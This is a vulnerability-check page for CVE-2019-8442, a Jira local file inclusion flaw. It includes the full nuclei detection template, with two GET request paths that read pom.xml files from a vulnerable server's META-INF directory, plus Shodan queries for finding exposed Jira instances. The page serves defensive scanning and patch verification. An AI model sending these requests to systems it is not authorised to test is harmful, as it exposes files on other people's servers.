Jira - Local File Inclusion

highseverity

7.5CVSS score

59.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Jira before version 7.13.4, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1, allows remote attackers to access files in the Jira webroot under the META-INF directory via local file inclusion.

Impact

This vulnerability can result in sensitive information exposure, unauthorized access to files, and potential compromise of the Jira application.

Fix

Apply the latest security patches or updates provided by Atlassian to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/s/{{randstr}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml ; GET {{BaseURL}}/s/{{randstr}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
Positive when: contains "<groupId>com.atlassian.jira</groupId>" AND status 200

Run it with nuclei: nuclei -id CVE-2019-8442 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-8442

info:
  name: Jira - Local File Inclusion
  author: Kishore Krishna (siLLyDaddy)
  severity: high
  description: Jira before version 7.13.4, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1, allows remote attackers to access files in the Jira webroot under the META-INF directory via local file inclusion.
  impact: |
    This vulnerability can result in sensitive information exposure, unauthorized access to files, and potential compromise of the Jira application.
  remediation: |
    Apply the latest security patches or updates provided by Atlassian to mitigate the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69241
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8442
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8442
    epss-score: 0.59832
    epss-percentile: 0.99138
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,lfi,intrusive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"
      - "{{BaseURL}}/s/{{randstr}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <groupId>com.atlassian.jira</groupId>

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from